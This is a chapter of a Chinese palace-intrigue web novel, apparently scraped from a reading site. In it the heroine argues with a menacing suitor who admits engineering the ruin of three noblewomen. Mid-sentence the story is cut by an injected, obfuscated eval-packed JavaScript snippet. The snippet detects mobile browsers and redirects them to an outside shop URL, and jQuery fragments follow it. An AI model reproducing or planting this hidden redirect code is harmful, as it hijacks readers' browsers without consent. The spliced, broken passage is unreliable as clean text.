44.惨死

作品:《列祖列宗在上

    一个凛冽多事的寒冬过去,又是一年开春时节。


    相府门前的积雪刚化,登门求亲的人便踏破了门槛。


    迎合着晨曦,炉中茶气蒸腾,如梦似幻中露出沈菀娇俏明艳的脸。


    外院的婢女急匆匆跑来,一脸的喜色:“给咱们二姑娘道喜了,护国公府送来帖子,说小裴世子邀您参加三日后的春日宴!”


    五福哼道:“喜从何来?年前儿京里丢了三位贵女,连太子爷都遭了冤屈,如今凶手还没抓到,这宴席倒一场接一场地办起来了,可怜那三个”


    “住口!”


    沈菀一声呵斥,五福终于察觉到失言,屋里头还站着外头报喜的婢子呢。


    “二姑娘恕罪,奴婢昨儿没睡好,今儿大早就说浑话,一会儿就跳进院外的池子里泡个冷水澡,好清醒一些。”


    沈菀顺势转了话题:“就你油嘴滑舌,若真让你跳下去,就凭你那馋虫托生的嘴巴,池子里的肥鱼们怕是要遭殃了。”


    这话引得报喜的婢女也咯咯笑起来。


    报喜的婢女讨了赏银,欢天喜地的退下了。


    见四下无人,五福立马跪地认错:“主子,奴刚刚失言,本来也不关奴的事儿,实在是今早听说昌远候家的如夫人被寻到了……心头有些愤懑。”


    沈菀何尝不明白五福的愤怒,她也替那些被封建枷锁逼死的受害者感到惋惜:“人死了?”


    五福点头:“今儿早上,汴河上倒夜壶的两个更夫发现的,一尸两命,浑身都被扒光了,就那么赤,条条的伏在水面上。”


    沈菀面露讥讽:“光着身子死的吗?昌远候到底是官家潜邸的老人儿了,万事倒是会替主子考虑。”


    五福:“嗯,现如今满汴河沿岸的百姓,压根就没人在乎是谁杀了如夫人,人人都在议论如夫人为何光着身子死在水面上,更有些腌臜下流的,茶余饭后都在编排如夫人死前被如何如何糟蹋过。”


    沈菀:“是了,如此一来,人们的口诛笔伐会一股脑儿的涌向失节的三个女子,再也没有人关心太爷的丑闻,昌远候也算是用自己的老脸保全了陛下的老脸。”


    八荒端着药壶掀开珠帘,不紧不慢的走进来,替沈菀收拾着今早的药膳:“哎,要说可惜的还是国公府的蔡大姑娘,蔡国公就蔡□□这么一个宝贝女儿,京都中数一数二的尊贵,往日的席面上就连咱们姑娘都要巴结一二呢。”


    五福将案上的药盏摆放好,也跟着唏嘘起来:“可不是,都说可怜天下父母心,可当父母的也有私心,就因为年前这么一档子烂事,蔡大小姐被家里人逼着吊死在了祠堂里,听说死后连个像样的坟茔都没捞着。”


    八荒从食盒中拿出压苦味的蜜饯果子:“反倒是梅妃娘娘让人刮目相看,梅娘娘在陛下跟前受宠多年,都以为她是个文文弱弱的美娇娘,谁知道竟然敢拿着剪刀逼迫家中父兄,也算是在白绫堆里救下了亲妹妹。”


    沈菀端起药盏,一饮而尽,而后又捡了颗蜜饯送进嘴里,苦笑道:“没用的,梅二姑娘纵然保下一条命,在梅贵妃的庇佑下得以削发为尼,可等此事的风头一过,她还是会死。”


    八荒倒是不明白了:“主子的意思是……还有人想要梅二姑娘死?”


    沈菀抬手,指了指头顶的天。


    五福和八荒对视了一眼,纷纷漠然。


    是了,官家为了保全太子清誉,终会牺牲这三个柔弱的女子。


    “快别说这些令人伤心的事儿了,”八荒将蓄满的药盏又放到案上,“咱们自家还一堆麻烦事儿,你这尊泥菩萨还是赶紧喝药吧。”


    沈菀蹙眉望着药盏,叹气道:“好好好,一切都听咱们女神医的吩咐。”


    屋子里三人说说笑笑间,沈菀拿起烫金的帖子,还未细看,就感到一阵若有似无得寒风从背后袭来。


    黛眉轻蹙间,她微微咳了一声,旁边的五福和八荒当即紧张起来,似乎也察觉到了有人闯入。


    沈菀柔声宽慰:“无妨,下去吧。”


    自家主子既然能如此淡定,就说明尚且能应付,五福和八荒便躬身退了出去。


    但二人也没走远,就在门外候着,一方面望风,一方面也是保护。


    沈菀回头,果然看见赵淮渊不知何时站在了堂内的珠帘后,一束春光斜斜穿过花枝,在他轮廓分明的脸上投下斑驳光影。


    他生得极好,唇薄而红艳,偏又时常噙着一抹似有若无的笑,叫人看了心头一颤。


    沈菀忽然有些好奇,上辈子那个容颜尽毁的赵淮渊,到底是吃了多少苦才会把这张好看的脸搞得那样残破不堪。


    “有事?”沈菀下意识将帖子往袖中藏了藏,一个不小心,碰倒了装药的青瓷炉,滚汤溅在她手背,瞧着有些慌乱。


    “小心。”赵淮渊冲过来,执起她泛红的手轻吹,“如此毛躁,见我心虚?”


    沈菀抽回手,发现刚想藏起来的请帖已落到他手中,二人的视线不约而同的汇聚到那封烫金的帖子上。


    赵淮渊对于沈菀当面的防备非常介意,隐忍着不悦,强弯起嘴角:“你要出门?”


    沈菀冷淡道:“与你无关。”


    “裴野的席面?嗤,你居然跟护国公府那个酒囊饭袋还有牵扯。”


    赵淮渊眼中闪过一丝阴鸷,说出来的话更是刺人:“也是,春天到了,猫儿狗儿们都急着要配对,可他们何必来纠缠我的菀菀?”


    “什么猫儿狗儿,我何时成你的了!”沈菀不想理会赵淮渊突然的发疯,开门见山道,“把帖子还我!”


    赵淮渊却将帖子举高,高大的身躯压下来,俯视着她:“知道为什么到现在都没杀你吗?”


    他的声音忽然又变得柔软,带着令人毛骨悚然的温柔:“因为人死了就死了,但是人活着,可以生不如死,就好像那个被送进尼姑庵里的梅二姑娘。”


    沈菀呼吸一滞,后背抵上了梳妆台,退无可退,愤怒道:“疯子。”


    他对赵淮渊有爱,但随着时间的流逝,更多的情愫却化成了恨。


    赵淮渊低笑:“又能怪谁呢,菀菀,我可是被你逼疯的。”


    沈菀冷笑:“所以你就要逼死三个无辜的人,他们何曾招惹过你!”


    “别用这种清高的语气跟我说话,说白了,她们三个跟你一样贪婪无耻。”


    赵淮渊并没有觉得做错什么:“我只是命令部下将他们囚禁,然后随随便便一个男人顶着太子爷的脸,穿着明黄色的蟒袍进去,她们就迫不及待的献身了,是她们的贪婪把自己逼上了绝路。”


    赵淮渊直接将春日宴的帖子撕碎,在沈菀厌恶的目光中,脆弱不安的呢喃出声:“别去,求你,这么多活生生的例子,你放弃赵玄卿好不好。”


    那声‘求你’带着令人心惊的卑微,与方才的霸道蛮横判若两人。


    沈菀愣在原地,不知道什么时候起,他和赵淮渊之间变成了这样,双方都要被彼此手中的绳索勒死,却依旧执迷不悟的纠缠不休。


    “奚奴,我从来都不是端方持重的良善之女,比起虚无缥缈的爱情,我更在乎看得见抓得到的利益,别在我身上浪费时间了,时间久了,你只会越来越绝望。”


    她这辈子对情爱早就没了贪念,在她看来,所有痴男怨女、恩怨情仇,不过是一场又一场轮回里的作茧自缚。


    窗外惊雷炸响,春雨倾盆而下。


    “好啊,既然你不想给我回应,那我便不在奢求,但是,倘若有朝一日让我发现你给了别的男人回应,我舍不得杀你,但一定会杀了他。”


    “知道了,滚吧。”对于听不懂人话的疯狗,沈菀选择关门送客,眼不见心不烦。


    **


    当晚,护国公府的小裴世子夜游酒家,酩酊大醉下‘意外’跌进了汴河。


    一下子汴河两岸炸开了锅,那些个想要讨好小裴世子的纨绔,一个个脱了靴子就往水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565779|186291||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里跳,搞得裴家的护卫从水下捞上来好几个人都没捞到正主小裴世子。


    闻讯的赶到的金吾卫管事都要气疯了,也不知道哪个坏胚将小裴世子在水里的消息散播出去,搞得沿街的百姓像是水里有金元宝一样,一个个扑通扑通的往水里跳。


    更可气的还有好些个不会水的大姑娘,想要借此跟风流倜傥的小裴世子搭上点花边,以此嫁入高门。


    深更半夜的汴河两岸一下子竟然比元宵节灯会时还要热闹。


    小裴世子最后还是凭本事浮上了岸,虽然性命无忧,却呛了满肚子馊水。


    护国公府张罗的宴席自然吹了,可阴差阳错,沈菀却被请到了三皇子殿下的春日宴上。


    “不做好事的冤家,都是你惹得祸!”


    沈菀一大清就被五福拽起来梳妆打扮,赵淮渊恭恭敬敬的站在窗外听她数落,没办法,谁让他偷鸡不成蚀把米了呢。


    沈菀越想越来气,一把撂下药盏:“早知道要跟赵昭打交道,我还不如喝药喝死!”


    赵昭不敢应声,沈菀真生气的侍候,他也得避着。


    纵然不想,沈菀还是坐上了去三皇子府邸的马车。


    今儿露面只穿了一袭水蓝色长裙,打扮的稍显清淡,就连发间也只簪了一支白玉兰,可放倒花枝招展的贵女堆里,反倒是瞧着愈发清丽脱俗。


    前儿才溺水的小裴世子也来了,瞧着精神头还挺好,离得老远就跟沈菀打招呼,也丝毫不避讳人言,大步流星的朝着沈菀这边奔来。


    沈菀见到裴野也高兴,小裴世子是京中鲜有真心实意拿她当朋友的好人。


    “我就说今日的席面得来,这不,果真遇见菀表妹了。”裴野豪爽的行了一礼,满口的小白牙配上英姿飒爽的精气神,瞬间在满院子女眷当中引起一片骚动。


    沈菀刚要回礼,忽然感到了一股锐利的视线。


    扭头,一眼就瞧见了赵淮渊,这厮竟然也混入了三皇子府。


    男人正站在一株桃树下阴郁地盯着这边。


    身上还穿着沈菀送他的那件墨蓝色的小厮衣裳,俊美得令人侧目,却又散发着生人勿近的气息。


    “表妹在看什么,可是遇见了熟人?”裴野顺着她的目光打量起四周。


    沈菀迅速调回视线,屈膝行礼道:“表哥万福,听闻表哥夜里不慎落水,身子可好些了?”


    提起此事,俨然成了京都城内的一桩笑话。


    小裴世子不好意思的挠挠头:“嗨,都是小事,都怪酒坊的烧刀子度数太高,我那也是不小心,倒是让菀表妹看笑话了。”


    沈菀对于裴野是真心实意的结交,自然也欣赏他洒脱不虚为的性子,调笑道:“表哥说的哪里话,菀菀倒是觉得这不失为一桩佳话,比起那些死守规矩的书呆子,表哥不知道让多少京都的姑娘害了相思病。”


    “菀表妹可莫要再取笑我了……”小裴世子臊红了脸。


    沈菀见状也不继续逗他了,只管打听道:“听闻今日太子殿下也会来?”


    裴野点头:“正是,三皇子做东,太子殿下十分赏脸。”


    他压低声音,满心的惦记:“近来朝中不太平,接连死了两位皇子,听闻太子爷也遇袭,还有三个贵女惨死,几位殿下又明争暗斗,今日宴上,表妹可要谨言慎行,远离是非。”


    沈菀弯起好看的杏眼,温温柔柔的回礼:“多谢表哥提醒,菀菀记下了。”


    裴野好似被沈菀明媚的笑脸烫到,面红耳赤的好一阵子抓耳挠腮,羞臊道:“几日不见表妹,你好像又变好看了……”


    “表哥贯会夸我。”沈菀心道,还得是阳光型男靠谱,杵着就让人高兴,说话也动听,比那些个阴暗爬行的疯批强多了。


    宴会正酣,觥筹交错之际,忽闻殿外执礼太监一声悠长通传,“太子殿下驾到——”


    方才还洋溢着轻松气息的宴席,转瞬被一种庄重而敬畏的氛围笼罩。